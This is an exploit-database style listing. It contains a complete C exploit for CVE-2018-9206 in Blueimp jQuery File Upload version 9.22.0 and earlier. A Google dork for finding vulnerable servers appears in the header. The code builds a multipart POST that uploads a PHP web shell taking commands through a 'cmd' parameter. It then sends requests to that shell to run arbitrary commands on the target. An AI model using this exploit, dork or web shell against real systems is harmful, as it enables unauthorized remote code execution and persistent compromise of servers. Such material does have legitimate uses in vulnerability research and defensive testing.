Blueimp jQuery File Upload 9.22.0 Arbitrary File Upload

`# Exploit Title: Exploit for Blueimp's jQuery File Upload <= 9.22.0 CVE-2018-9206  
# Google Dork: inurl: /jquery-file-upload/server/php  
# Date: 1/15/2019  
# Exploit Author: Larry W. Cashdollar  
# Vendor Homepage: http://www.vapidlabs.com  
# Software Link: [download link if available]  
# Version: <= 9.22.0  
# Tested on: Linux  
# CVE : CVE-2018-9206  
  
  
/*Exploits CVE-2018-9206 to install a webshell.*/  
/*http://www.vapidlabs.com/advisory.php?v=204 */  
/*$ gcc main.c -o blue_exploit */  
/*Larry W. Cashdollar @_larry0*/  
  
#include <stdio.h>  
#include <sys/socket.h>  
#include <stdlib.h>  
#include <netinet/in.h>  
#include <string.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
  
#define BSIZE 1024  
#define DEBUG 1  
#define TESTONLY 0  
  
void build_string (char *p, char *path, char *arg, char *ar1, int func);  
  
int  
main (int argc, char *argv[])  
{  
int sock = 0, bytes_read = 0, total = 0, function = 0;  
struct sockaddr_in serv_addr;  
char buffer[BSIZE] = { 0 }, payload[BSIZE] = { 0};  
  
if (argc <= 1)  
{  
printf  
("CVE-2018-9206 Exploit\n@_larry0\nUsage: %s hostname port path command\n",  
argv[0]);  
return (0);  
}  
if (argc == 5)  
function = 1;  
if ((sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)  
{  
printf ("\nSocket creation error\n");  
return (-1);  
}  
  
build_string (payload,argv[3] ,argv[1], argv[4], function);  
  
if (!TESTONLY){  
  
memset (&serv_addr, 0, sizeof (serv_addr));  
  
serv_addr.sin_family = AF_INET;  
serv_addr.sin_port = htons (atoi (argv[2]));  
  
if (inet_pton (AF_INET, argv[1], &serv_addr.sin_addr) <= 0)  
{  
printf ("\nInvalid address.\n");  
return (-1);  
}  
  
if (connect (sock, (struct sockaddr *) &serv_addr, sizeof (serv_addr)) < 0)  
{  
printf ("\nConnection Failed.\n");  
return (-1);  
}  
send (sock, payload, strlen (payload), 0);  
}  
if (DEBUG)  
printf ("\nSending Payload:\n%s", payload);  
if (!TESTONLY) {  
while (1)  
{  
bytes_read = recv (sock, buffer, BSIZE, 0);  
total += bytes_read;  
if (bytes_read <= 0)  
break;  
printf ("%s", buffer);  
bzero (buffer, BSIZE);  
}  
printf ("\n[+] Total bytes read: %d\n", total);  
close (sock);  
}  
return (0);  
}  
  
  
void  
build_string (char *p, char *path,char *arg, char *ar1, int func)  
{  
if (func)  
snprintf (p, BSIZE,  
"GET /%s/files/shell.php?cmd=%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: blueimp jquery exploit/9.22.0\r\nAccept: */*\r\n\r\n", path,ar1, arg);  
else  
snprintf (p, BSIZE,  
"POST /%s/index.php HTTP/1.1\r\nHost: %s\r\nUser-Agent: blueimp jquery exploit/9.22.0\r\nAccept: */*\r\nContent-Length: 244\r\nContent-Type: multipart/form-data; boundary=------------------------c8e05c8871143853\r\n\r\n--------------------------c8e05c8871143853\r\nContent-Disposition: form-data; name=\"files\"; filename=\"shell.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php $cmd=$_GET['cmd']; system($cmd);?>\r\n\r\n--------------------------c8e05c8871143853--\r\n\r\n",path, arg);  
}  
`